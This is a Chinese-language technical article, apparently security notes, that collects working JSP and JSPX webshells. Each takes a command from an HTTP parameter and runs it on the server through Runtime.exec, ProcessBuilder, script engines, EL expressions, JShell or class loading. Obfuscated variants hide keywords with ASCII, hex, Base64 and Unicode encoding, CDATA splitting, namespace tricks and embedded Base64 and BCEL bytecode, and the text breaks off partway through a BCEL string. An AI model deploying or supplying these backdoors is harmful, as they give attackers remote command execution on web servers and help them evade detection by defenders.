Jsp Webshell
命令执行
Runtime 和 ProcessBuilder
Java一般用的命令执行语句有两个:
Runtime.getRuntime().exec("cmd");java.lang.ProcessBuilder(newString[]{"cmd"}).start();
Runtime实际上是调用了
java.lang.ProcessBuilder#start
而ProcessBuilder又是调用了
java.lang.ProcessImpl#start
最后是调用了ProcessImpl的私有构造方法
ProcessImpl
虽然无法直接实例化该类调用,但可以通过反射调用其start方法:
String[] cmd={"cmd","/c","whoami"};Class processimpl=Class.forName("java.lang.ProcessImpl");Method m1=processimpl.getDeclaredMethod("start",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
m1.setAccessible(true);Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
一句话木马其实就是调用上面的命令执行方法,然后输出结果。这里以Runtime为例,其余的只要换一下命令执行函数就行。
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>
Method.invoke的代替
- 用MethodUtil替换method.invoke
MethodUtil.invoke(m1,processimpl,newObject[]{"calc".split(" "),null,null,null,false});
- 直接调用底层的MethodAccessor
ReflectionFactory reflectionFactory =AccessController.doPrivileged(newsun.reflect.ReflectionFactory.GetReflectionFactoryAction());MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
methodAccessor.invoke(clz,newObject[]{"calc".split(" "),null,null,null,false});
表达式类调用
ScriptEngineManager
还可以通过JS引擎调用Java对象
ScriptEngineManager manager =newScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("js");String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);
ScriptEngine代码执行的小马:
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
换个Nashorn引擎,加上回显
<%
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("nashorn");
String payload=request.getParameter("cmd");
Compilable compEngine=(Compilable)engine;
CompiledScript script=compEngine.compile(payload);
BufferedReader object=(BufferedReader)script.eval();
String line="";
String result="";
while((line=object.readLine())!=null){
result=result+line;
}
out.println(result);
%>
?cmd=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));
再把这个语句编码后写进入
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
//linux
//String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";
//win
String s1 = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
String s2 = request.getParameter("cmd");
String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
%>
Tomcat EL表达式
ELProcessor
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
StringBuilder stringBuilder = new StringBuilder();
String cmd = request.getParameter("cmd");
for (String tmp:cmd.split(" ")) {
stringBuilder.append("'").append(tmp).append("'").append(",");
}
String f = stringBuilder.substring(0, stringBuilder.length() - 1);
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder2 = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder2.append(line).append("\n");
}
if (stringBuilder2.length() > 0) {
response.getOutputStream().write(stringBuilder2.toString().getBytes());
}
%>
ELManager
或者像在servlet写el表达式解析语句一样调用
其实也是
ELProcessor#eval
的具体实现类
privatefinalExpressionFactory factory;publicELProcessor(){this.context =this.manager.getELContext();this.factory =ELManager.getExpressionFactory();}publicObjectgetValue(String expression,Class<?> expectedType){ValueExpression ve =this.factory.createValueExpression(this.context,bracket(expression), expectedType);return ve.getValue(this.context);}
webshell
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%
String cmd = request.getParameter("cmd");
StringBuilder stringBuilder = new StringBuilder();
for (String tmp:cmd.split(" ")) {
stringBuilder.append("'").append(tmp).append("'").append(",");
}
String f = stringBuilder.substring(0, stringBuilder.length() - 1);
String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
ELManager manager = new ELManager();
ELContext context = manager.getELContext();
ExpressionFactory factory = ELManager.getExpressionFactory();
ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>
JShell (JDK>=9)
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
常规变形混淆
类反射+字符串编码
ASCII
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
HEX
<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
BASE64
<%@ page contentType="text/html;charset=UTF-8" language="java"%><%@ page import="sun.misc.BASE64Decoder"%><%if(request.getParameter("cmd")!=null){BASE64Decoder decoder =newBASE64Decoder();Class rt =Class.forName(newString(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));Process e =(Process)
rt.getMethod(newString(decoder.decodeBuffer("ZXhlYw==")),String.class).invoke(rt.getMethod(newString(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null,newObject[]{}), request.getParameter("cmd"));java.io.InputStream in = e.getInputStream();int a =-1;byte[] b =newbyte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){
out.println(newString(b));}
out.print("</pre>");}%>
Unicode编码
<% \u0069\u0066\u0028\u0022\u0030\u0032\u0033\u0022\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0070\u0077\u0064\u0022\u0029\u0029\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u006e\u0074\u0020\u0061\u0020\u003d\u0020\u002d\u0031\u003b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0032\u0030\u0034\u0038\u005d\u003b\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u0061\u003d\u0069\u006e\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0062\u002c\u0030\u002c\u0061\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u007d
%>
内部类
https://xz.aliyun.com/t/7798#toc-6
classA{B b;finalclassB{privateMethod o;privateObject oo;privateObject[] ooo;publicB()throwsClassNotFoundException,NoSuchMethodException{Class clz =Class.forName("java.lang.ProcessImpl");Method method = clz
.getDeclaredMethod("start",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
method.setAccessible(true);
o = method;
oo = clz;
ooo =newObject[]{s.split(" "),null,null,null,false};}}publicA()throwsClassNotFoundException,NoSuchMethodException{
b =newB();}publicObjectinvokex()throwsInvocationTargetException,IllegalAccessException{returnMethodUtil.invoke(b.o, b.oo, b.ooo);}}Process process =(Process)newA().invokex();
Jspx
HTML实体编码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<jsp:scriptlet>
if("023".equals(request.getParameter("pwd"))){     java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();     int a = -1; byte[] b = new byte[2048]; out.print("<pre>");     while((a=in.read(b))!=-1){         out.println(new String(b,0,a));     }     out.print("</pre>"); }
</jsp:scriptlet>
</jsp:root>
命名空间绕过
<jsp:scriptlet>
标签默认命名空间为jsp实际可以换成
<default:scriptlet>
、
<Any:scriptlet>
任意名字都行。
表达式调用
<jsp:expression>
去调用表达式相当于
<%=..%>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<jsp:expression>
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()
</jsp:expression>
</jsp:root>
回显只有一行 ipconfig这种就不行了
CDATA拆分关键字
同样是利用xml的特性,CDATA 部分中的所有内容都会被解析器忽略,相当于注释符,就和xxe绕过关键词一样。
CDATA 部分由
<![CDATA[
开始,由
]]>
结束。
<xxx:root xmlns:xxx="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<xxx:directive.page import="java.io.BufferedReader"/>
<xxx:scriptlet>
BufferedReader object=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Run<![CDATA[time.get]]>Run<![CDATA[tim]]>e().ex<![CDATA[ec(reque]]>st.getParameter("cmd")).getInputStream()));
String line="";
String result="";
while((line=object.readLine())!=null){
result=result+line;
}
out.println(result);
</xxx:scriptlet>
</xxx:root>
类加载绕过
调用defineClass
反射调用
importjava.lang.reflect.Method;importjava.util.Base64;publicclassTestDefineClass{publicstaticvoidmain(String[] args)throwsException{Method defineClass =ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);byte[] code =Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");Class evli =(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"evliClass", code,0, code.length);
evli.newInstance();}}
类继承Classloader
自定义类
publicstaticclass x extendsClassLoader//继承ClassLoader{publicClassget(byte[] b){returnsuper.defineClass(b,0, b.length);}}publicstaticvoidmain(String[] args)throwsException{String classStr="evilClassByte"; #恶意类字节码
BASE64Decoder code=newsun.misc.BASE64Decoder();Class result=newx().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入自定义类的get函数System.out.println(result.newInstance());}
JDK原生类
**
com.sun.jmx.remote.util.OrderClassLoaders
**
publicclassClassLoaderTest2{publicstaticvoidmain(String[] args)throwsException{byte[] mes =java.util.Base64.getDecoder().decode("evilClassByte");Class OC=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");java.lang.reflect.Method m = OC.getSuperclass().getDeclaredMethod("defineClass",newClass[]{byte[].class,int.class,int.class});
m.setAccessible(true);java.lang.reflect.Constructor c=OC.getDeclaredConstructor(newClass[]{ClassLoader.class,ClassLoader.class});
c.setAccessible(true);Object cl=Thread.currentThread().getContextClassLoader();Object d=c.newInstance(newObject[]{cl,cl});Object evil =((Class) m.invoke(d,newObject[]{mes,0, mes.length})).newInstance();}}
具体使用可以看https://xz.aliyun.com/t/11368
javax.management.loading.MLet`
这个类是继承的URLClassLoader
importjava.net.URL;publicclassClassLoaderTest1extendsjava.net.URLClassLoader{publicClassLoaderTest1(URL[] urls,ClassLoader parent){super(urls, parent);}publicstaticvoidmain(String[] args)throwsException{byte[] mes =java.util.Base64.getDecoder().decode("evilClassByte");java.lang.reflect.Method m =ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
m.setAccessible(true);Class clazz =Class.forName("javax.management.loading.MLet");ObjectMlet= clazz.getDeclaredConstructor(URL[].class,ClassLoader.class).newInstance(new URL[0],this.getClass().getClassLoader());Object evil =((Class)m.invoke(Mlet, mes,0, mes.length)).newInstance();}}
下面这几个获取类加载器的方法,我在本地环境的jsp上测试都是可以的
this.getClass().getClassLoader()
new ClassLoader(){}
ClassLoader.getSystemClassLoader()
Thread.currentThread().getContextClassLoader()
**
jdk.nashorn.internal.runtime.ScriptLoader
**
Nashorn是于Java 8中用于取代Rhino(Java 6,Java 7)的JavaScript引擎
可以看到这个类最后还是继承自
ClassLoader
,他的
loadClass
方法就是调用自
ClassLoader
。
publicclassScriptLoadTest{publicstaticvoidmain(String[] args)throwsClassNotFoundException,NoSuchMethodException,IllegalAccessException,InvocationTargetException,InstantiationException,IOException{// 获取ScriptLoader对象Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");Constructor constructor=cls.getDeclaredConstructor(Context.class);
constructor.setAccessible(true);Object o=constructor.newInstance(newjdk.nashorn.internal.runtime.Context(newOptions(""),null,null));// 执行installClass方法Method m1=cls.getDeclaredMethod("installClass",String.class,byte[].class,CodeSource.class);
m1.setAccessible(true);BASE64Decoder decoder=newsun.misc.BASE64Decoder();ClassE=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer("evilClassByte"),newCodeSource(null,(Certificate[])null));E.newInstance();}}
Proxy动态代理
动态代理则直接得到代理类的Class对象,然后通过反射创造实例,当中就有
defineClass
的操作。
publicclassProxyDefineTest{publicstaticvoidmain(String[] args)throwsNoSuchMethodException,IOException,InvocationTargetException,IllegalAccessException,InstantiationException{ClassLoader classLoader=ClassLoader.getSystemClassLoader();Method m1=Proxy.class.getDeclaredMethod("defineClass0",ClassLoader.class,String.class,byte[].class,int.class,int.class);
m1.setAccessible(true);BASE64Decoder decoder=newsun.misc.BASE64Decoder();byte[] classBytes=decoder.decodeBuffer("evilClassByte");String className="Evil";ClassE=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);E.newInstance();}}
下面几种加载方式的jsp马,搬运自threedr3am 师傅的文章都0202年了老嗨还在用的 - 各种姿势jsp webshell各种姿势jsp webshell
TemplatesImpl 加载
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="sun.misc.IOUtils" %>
<%@ page import="sun.reflect.misc.FieldUtil" %>
<html>
<body>
<h2>利用TemplatesImpl触发的JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
String s = request.getParameter("threedr3am");
if (Files.exists(Paths.get(inputFile)))
Files.delete(Paths.get(inputFile));
Files.write(Paths.get(inputFile), s.getBytes());
TemplatesImpl t = new TemplatesImpl();
Field field = FieldUtil.getDeclaredFields(t.getClass())[4];
byte[][] bytes = new byte[1][];
bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");
field.setAccessible(true);
field.set(t, bytes);
Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];
field2.setAccessible(true);
field2.set(t, TransformerFactoryImpl.newInstance());
Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];
field3.setAccessible(true);
field3.set(t, "threedr3am");
Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];
field4.setAccessible(true);
field4.set(t, new HashMap<>());
try {
t.getOutputProperties();
} catch (Exception e) {}
String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));
response.getOutputStream().write(resutl.getBytes());
%>
</body>
</html>
BCEL字节码
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9